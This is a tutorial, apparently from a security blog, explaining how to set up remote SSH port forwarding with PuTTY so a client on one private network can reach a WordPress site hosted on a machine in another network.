Throughout the following lines, an HTTP connection is to get established between remote PC and client server, where both machines do not belong to the same network. Let’s take the following five points for granted before we get to start essentially:

There is an SSH server which is two Ethernet interface.
The local IP address is 192.168.0.116
While the IP address of the remote system is 192.168.0.100, residing outside of the network in the first place.
The IP address of 192.168.10.1 is connected to another local network system of IP address of 192.168.10.2
The Ubuntu client has the following IP address: 192.168.10.2

The following steps are to get followed for the sake of establishing the Remote SSH tunneling:

open the terminal and type the following command to get the network configuration:
```
ifconfig
```
The configuration of SSH server should now show that there are two IP addresses connected:
```
192.168.0.116 and 192.168.10.1
```
The configuration of SSH server should also appear after typing the aforementioned command. The following IP address should appear as running as an SSH client on Ubuntu:
```
192.168.10.2
```
On the remote desktop, the command line prompt (cmd) could be used to know the IP for it, it should show in our case the IP address of:
```
192.168.0.100
```
Because we are using for this case HTTP tunneling, this basically means that the service will run on port 80 of Xampp server at localhost.
If the website is WordPress, it shall then work on port 80.
Such website could be reached by the SSH server through the following URL then:
```
http://192.168.0.100/index.html
```
The remote desktop will be connected to through such URL. This only holds for devices on the same network. Yet, if each of them resides on a different network from the other, then it will cause a problem.
Let’s verify this fact by trying to communicate with the URL of http://192.168.0.100/index.html on Ubuntu client which is on another network. This connection will not get established due to the dissimilarities of each one’s network.
Make use of PuTTY software now to get a connection established between remote desktop and Ubuntu client.
Under “Host Name (or IP address)”, get the IP of “192.168.0.116” typed.
Under “Port” section, type “22”. And choose the connection type as “SSH”
Now, navigate to “Tunnel” residing under “SSH” in the left part of the screen titled “Category”
Under “Port forwarding”, get the first option marked. It is the option of “Local ports accept connections from other hosts”.
Besides “Source Port” type “7000”
Choose the “Destination” as “127.0.0.1:80”
Choose the connection as “Remote”
Press “Add” in order to get these changes applied.
Finally, press “Open” after getting done with the last point.
The connection between the remote pc and the Ubuntu client now will happen in two consecutive stages. First, a connection between remote pc and SSH will get established. Then, such server will connect the remote desktop to the Ubuntu client.
Browsing now on the following URL: http://192.168.0.116:7000/index.html will yield into opening the WordPress website through connecting to the localhost of the remote desktop, starting the SSH server on port 7000.
Now, this means that we have done the task successfully and both the remote desktop and the Ubuntu client became connected.

References

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://www.hackingarticles.in/perform-local-ssh-tunneling/

https://en.wikipedia.org/wiki/Comparison_of_proxifiers

http://www.hackingarticles.in/perform-remote-tunneling/

http://www.hackingarticles.in/beginner-guide-ssl-tunneling-dynamic-tunneling/

http://linux.byexamples.com/archives/115/ssh-dynamic-tunneling/

https://ypereirareis.github.io/blog/2016/09/19/ssh-tunnel-local-remote-port-forwarding/

https://coderwall.com/p/pmf0tw/understand-local-remote-and-dynamic-ssh-tunneling

http://www.hackingarticles.in/time-scheduling-ssh-port/

http://www.hackingarticles.in/web-server-exploitation-ssh-log-poisoning-lfi/

http://www.hackingarticles.in/metasploitable-3-exploitation-using-brute-forcing-ssh/

http://www.hackingarticles.in/secure-port-using-port-knocking/

https://chamibuddhika.wordpress.com/2012/03/21/ssh-tunnelling-explained/

http://resources.infosecinstitute.com/metasploitable-2-walkthrough/#gref

How to perform Local SSH Tunneling?